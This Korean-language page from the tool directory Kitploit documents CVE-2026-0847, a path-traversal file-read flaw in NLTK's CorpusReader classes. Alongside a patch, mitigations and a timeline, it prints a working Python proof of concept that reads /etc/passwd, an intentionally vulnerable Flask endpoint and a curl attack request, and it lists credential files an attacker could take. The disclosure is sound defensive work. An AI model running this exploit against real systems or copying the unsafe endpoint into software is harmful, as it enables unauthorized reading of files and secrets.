Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-0847 — NLTK 3.9.2를 포함한 이하 버전의 취약점으로 인해 WordListCorpusReader, TaggedCorpusReader 및 BracketParseCorpusReader를 포함한 여러 CorpusReader 클래스에서 경로 탐색(path traversal)을 통한 임의 파일 읽기가 가능합니다. | Kitploit
도구/GitHubGitHub/hyperps/cve-2026-0847
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHubhyperps/cve-2026-0847

CVE-2026-0847

NLTK 3.9.2를 포함한 이하 버전의 취약점으로 인해 WordListCorpusReader, TaggedCorpusReader 및 BracketParseCorpusReader를 포함한 여러 CorpusReader 클래스에서 경로 탐색(path traversal)을 통한 임의 파일 읽기가 가능합니다.

저장소 보기
14개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-0847 — NLTK 다중 CorpusReader 클래스: 경로 탐색을 통한 임의 파일 읽기


개요

필드세부 정보
CVE IDCVE-2026-0847
패키지nltk (Natural Language Toolkit)
레지스트리PyPI
영향받는 버전<= 3.9.2
취약점 유형CWE-22: 경로 탐색
CVSS 점수8.6 (높음)
공격 벡터네트워크
공격 복잡도낮음
필요 권한없음
사용자 상호작용없음
기밀성 영향높음
무결성 영향낮음
가용성 영향낮음
보고일2025년 12월 4일
CVE 게시일2026년 3월 4일
지원Palo Alto Networks / Prisma AIRS
상태수정됨

설명

NLTK 라이브러리의 여러 CorpusReader 클래스는 경로 정규화(path canonicalization), 허용 목록 검증, 샌드박스 제한을 적용하지 않고 파일 경로 인자를 허용합니다. 공격자가 말뭉치 파일 이름이나 파일 입력을 제어할 수 있는 경우 — 머신러닝 API, 업로드 기반 NLP 파이프라인, 챗봇 서비스에서 흔한 시나리오 — 조작된 경로를 제공하여 디렉터리 계층 구조를 탐색하고 서버의 임의 파일을 읽을 수 있습니다.

이 취약점은 특히 NLTK가 사용자 제어 파일 경로를 처리하는 네트워크 기반 환경에서 심각합니다. 악용에 인증이나 권한이 필요하지 않기 때문입니다.


영향을 받는 구성 요소

세 클래스 모두 동일한 안전하지 않은 CorpusReader.open() 메서드를 상속하며, 이 메서드는 제공된 파일 식별자를 해석하고 읽기 전에 경로 제한을 전혀 수행하지 않습니다.


영향

이 취약점을 성공적으로 악용하면 다음과 같은 결과가 발생할 수 있습니다:

  • 임의 파일 읽기 — 공격자는 /etc/passwd, /etc/shadow, /var/log/auth.log를 포함하여 NLTK를 실행하는 프로세스가 접근할 수 있는 모든 파일을 읽을 수 있습니다.
  • 자격 증명 및 비밀 노출 — SSH 개인 키(~/.ssh/id_rsa), .env 파일, API 토큰, 클라우드 자격 증명 파일을 추출할 수 있습니다.
  • 소스 코드 및 학습 데이터 노출 — 다른 사용자의 학습 데이터나 독점 애플리케이션 소스 코드를 읽을 수 있습니다.
  • 원격 코드 실행(연계) — pickle 역직렬화 취약점과 결합하면 경로 탐색을 사용해 악성 모델 파일을 로드하고 완전한 RCE로 확대할 수 있습니다.
  • 수평 이동 — 마이크로서비스 환경에서 추출된 비밀이 수평 이동과 전체 서버 장악을 가능하게 하는 사례가 관찰되었습니다.

개념 증명(PoC)

이 정보는 교육 및 방어 목적으로만 제공됩니다. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템을 대상으로 테스트하지 마십시오.

직접 API를 통한 로컬 파일 읽기

root@kitploit:~
# PoC.py — demonstrates arbitrary file read using three vulnerable CorpusReader classes

from nltk.corpus.reader import WordListCorpusReader, TaggedCorpusReader, BracketParseCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer

root = FileSystemPathPointer("/")   # unrestricted filesystem root
target = "etc/passwd"               # any sensitive file path

print("--- WordListCorpusReader ---")
reader1 = WordListCorpusReader(root, [target])
print(reader1.raw(target)[:200])

print("--- TaggedCorpusReader ---")
reader2 = TaggedCorpusReader(root, [target])
print(reader2.raw(target)[:200])

print("--- BracketParseCorpusReader ---")
reader3 = BracketParseCorpusReader(root, [target])
print(reader3.raw(target)[:200])

출력(일부 발췌):

root@kitploit:~
--- WordListCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

--- TaggedCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

--- BracketParseCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

원격 악용 시나리오 — 취약한 Flask API

NLTK가 HTTP API를 통해 노출되는 현실적인 시나리오:

root@kitploit:~
# Vulnerable API server
from flask import Flask, request
from nltk.corpus.reader import WordListCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer

app = Flask(__name__)
root = FileSystemPathPointer("/")

@app.post("/read")
def read_file():
    filename = request.json.get("file")
    reader = WordListCorpusReader(root, [filename])
    return reader.raw(filename)

app.run("0.0.0.0", 8000)

공격자 요청:

root@kitploit:~
curl -X POST http://TARGET:8000/read \
     -H "Content-Type: application/json" \
     -d '{"file": "etc/passwd"}'

결과: 인증 없이 /etc/passwd의 전체 내용이 공격자에게 반환됩니다.


근본 원인

취약점은 CorpusReader.open()에서 발생합니다. 이 메서드는 FileSystemPathPointer.join()을 사용하여 구성된 루트 경로에 대해 제공된 fileid를 직접 해석하며, 다음 검사를 전혀 수행하지 않습니다:

  • 절대 경로 거부
  • 상위 디렉터리 탐색(..) 감지
  • 말뭉치 루트 내 격리를 강제하기 위한 경로 정규화 및 비교

FileSystemPathPointer는 /로 초기화될 수 있으므로 파일 이름 인자를 제어하는 공격자는 전체 파일 시스템에 대한 무제한 읽기 접근 권한을 얻습니다.


제안된 패치

연구자가 제안한 최소 수정 사항으로, CorpusReader.open() 내부에 적용됩니다:

root@kitploit:~
import os

normalized = fileid.replace("\\", "/")

# Block absolute paths
if os.path.isabs(normalized):
    raise ValueError("Absolute paths are not permitted.")

# Block directory traversal sequences
if ".." in normalized.split("/"):
    raise ValueError("Path traversal sequences are not permitted.")

# Enforce confinement within corpus root
joined = self._root.join(normalized)
if not os.path.normpath(joined._path).startswith(
    os.path.normpath(self._root._path)
):
    raise ValueError("Path escapes the corpus root directory.")

업스트림 수정 PR은 다음 링크에서 확인할 수 있습니다: https://github.com/nltk/nltk/pull/3479


수정 및 완화

pip를 통한 업그레이드:

root@kitploit:~
pip install --upgrade nltk

설치된 버전 확인:

root@kitploit:~
python -c "import nltk; print(nltk.__version__)"

타임라인


참고 자료


면책 조항

이 저장소는 CVE-2026-0847을 교육, 연구, 방어적 보안 목적으로만 문서화합니다. 개념 증명 코드와 기술 세부 정보는 개발자, 보안 엔지니어, 시스템 관리자가 이 취약점을 이해하고 평가하며 수정하는 데 도움을 주기 위해 제공됩니다.

이 정보를 명시적 승인 없이 시스템에 접근하는 데 사용하는 것은 불법이며 비윤리적입니다. 저자는 본 문서에 포함된 정보의 오용으로 인한 어떠한 책임도 지지 않습니다.

기여자 @mohitf070304

도구 다운로드
클래스파일상태
WordListCorpusReaderwordlist.py L1–L120취약
TaggedCorpusReadertagged.py L1–L140취약
BracketParseCorpusReaderbracket_parse.py L1–L150취약
동일한 기본 패턴을 사용하는 기타 클래스—광범위한 감사 대기 중
조치세부 정보
NLTK 업그레이드공식 패치가 릴리스되면 3.9.2보다 높은 버전으로 업데이트합니다.
입력 검증모든 사용자 제공 파일 경로 값을 NLTK CorpusReader 클래스에 전달하기 전에 정화하고 검증합니다.
사용자 제어 경로 회피사용자 입력이 어떤 CorpusReader의 fileids 인자를 직간접적으로 제어하지 못하도록 합니다.
최소 권한NLTK 기반 서비스를 말뭉치 디렉터리에만 읽기 접근이 제한된 제한된 OS 사용자 계정으로 실행합니다.
컨테이너화성공적인 탐색 공격의 피해 범위를 제한하도록 서비스를 Docker 컨테이너 또는 chroot 감옥에 격리합니다.
Ubuntu 패치배포판 차원의 패키지 업데이트를 위해 Ubuntu 보안 권고를 모니터링합니다.
날짜이벤트
2025년 12월 4일연구자 hyperps1이 huntr.dev에 취약점을 신고
2025년 12월huntr.dev를 통해 NLTK 유지관리자 팀에 통보
2026년 1월NLTK 유지관리자가 취약점을 검증; 연구자에게 공개 바운티 수여
2026년 1월CVE-2026-0847 지정
2026년 2월NLTK 유지관리자에게 게시 전 48시간 사전 경고 발송
2026년 3월 4일NVD와 huntr.dev에 CVE 게시
2026년 3월 5일NVD 레코드 최종 수정
리소스링크
NVD 항목https://nvd.nist.gov/vuln/detail/CVE-2026-0847
Ubuntu 보안 권고https://ubuntu.com/security/CVE-2026-0847
공식 CVE 레코드https://cve.org/CVERecord?id=CVE-2026-0847
huntr.dev 보고서https://huntr.dev
수정 풀 리퀘스트https://github.com/nltk/nltk/pull/3479
PyPI의 NLTKhttps://pypi.org/project/nltk/
OWASP 경로 탐색https://owasp.org/www-community/attacks/Path_Traversal
CWE-22https://cwe.mitre.org/data/definitions/22.html